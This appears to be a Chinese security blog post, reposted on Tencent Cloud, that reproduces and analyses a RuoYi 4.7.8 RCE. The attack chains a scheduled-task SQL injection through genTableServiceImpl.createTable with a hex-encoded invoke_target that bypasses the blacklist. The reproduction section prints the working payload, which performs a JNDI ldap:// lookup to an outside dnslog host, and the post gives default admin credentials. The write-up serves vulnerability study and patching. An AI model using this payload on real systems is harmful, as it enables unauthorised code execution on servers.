前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

作者头像
Timeline Sec
发布2024-05-29 14:54:05
7520
发布2024-05-29 14:54:05
举报
文章被收录于专栏:Timeline SecTimeline Sec

关注我们 ❤️,添加星标 🌟,一起学安全! 作者:0Fs47@Timeline Sec 本文字数:1392 阅读时长:2~4 mins 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

RuoYi 是一个后台管理系统,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量。

0x02 漏洞概述

RuoYi v4.7.8 若依后台管理系统通过定时任务调用 genTableServiceImpl 直接执行 sql 来更改定时任务内容,从而绕过黑白名单的限制,实现RCE。

0x03 影响版本

RuoYi v4.7.8

0x04 环境搭建

官网地址:http://ruoyi.vip

文档地址:https://doc.ruoyi.vip/ruoyi/document/hjbs.html

创建数据库 ry 并导入数据脚本 ry_2021xxxx.sql,quartz.sql

idea 载入项目,找到 ruoyi-admin\src\main\resources\application-druid.yml,修改数据库配置

然后运行 com.ruoyi.RuoYiApplication.java,出现如下图表示启动成功。

0x05 漏洞复现

本地搭建好环境,访问http://localhost/login

admin/amdin123 登录后台,首先创建一个任务 id100:

再另外创建一个任务,内容如下:

代码语言:javascript
复制
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6....... WHERE job_id = 100;')

SQL 语句中的 16 进制为我们要执行的代码:

代码语言:javascript
复制
javax.naming.InitialContext.lookup('ldap://xxxxx')

创建任务 101

可以看到任务 100 已经更新为需要执行的代码

成功收到回显

0x06 漏洞分析

从复现的步骤可以看出,RCE 是由定时任务加上 SQL 注入造成的。

定时任务分析

定时任务添加:

定位到 com/ruoyi/quartz/controller/SysJobController#addSave 方法中,可以看到在添加定时任务前,对字符串进行了黑白名单的判断

当通过了上述条件后,则执行 com/ruoyi/quartz/service/impl/SysJobServiceImpl#insertJob,先将定时任务写入数据库

然后创建定时任务

然后就是定时任务执行逻辑,进入 com/ruoyi/quartz/util/AbstractQuartzJob#execute

继续跟进,进入 invokeMethod 方法

getInvokeTarget:调用目标字符串,获取数据库中 invoke_target 字段

getBeanName:获取 beanName

getMethodName:获取方法名

getMethodParams:获取参数名

然后判断是不是全限定类名,若不是则从 spring 容器中获取

继续跟进 invokeMethod 方法,利用反射执行方法

从上可分析出如下结果:

  1. 对象可以是 spring 容器中注册过的 bean,也可以指定 class 名称
  2. 若是 spring 容器中注册过的 bean,则可直接从 spring 容器中取出,若是指定 class 名称,则可以通过反射 newInstance()创建对象

SQL 注入分析

在 ruoyi 4.7.5 版本之前,后台接口/tool/gen/createTable处存在 sql 注入(CVE-2022-4566)

而 genTableService 的实现类是 GenTableServiceImpl

对应的 Mapper 语句

代码语言:javascript
复制
<update id="createTable">
       ${sql}
</update>

运行结果:

RCE 分析

根据上文可知,ruoyi 计划任务能调用 bean 或者 class 类,SQL 注入依赖于 GenTableServiceImpl#createTable。如果 GenTableServiceImpl 是 bean 对象,就可以直接调用 GenTableServiceImpl#createTable 执行 SQL 语句

在启动类中打印所有加载的 bean,其中包括 genTableServiceImpl

代码语言:javascript
复制
 ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args);
// 获取所有bean的名称
String[] beanDefinitionNames = run.getBeanDefinitionNames();
// 打印所有bean的名称
for (String beanDefinitionName : beanDefinitionNames) {
    System.out.println(beanDefinitionName);
}

于是可以调用 genTableServiceImpl.createTable 实现 sql 语句执行,所以 RCE 的思路:配合注入在 sys_job 数据表中直接插入恶意计划任务,即可不调用 addSave 方法添加计划任务内容,成功绕过黑白名单限制

细节:

在添加 SQL 定时任务时,可以通过 16 进制转换绕过黑名单检测

代码语言:javascript
复制
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target =
0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f797670307a662e646e736c6f672e636e2729 WHERE job_id = 100;')

成功调用 genTableServiceImpl.createTable 方法

成功修改

执行代码

0x06 修复方式

升级至最新版本。

参考链接

https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC

https://xz.aliyun.com/t/11336

历史漏洞

https://blog.takake.com/posts/7219/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-05-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 漏洞分析
  • 0x06 修复方式
  • 参考链接
  • 历史漏洞
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档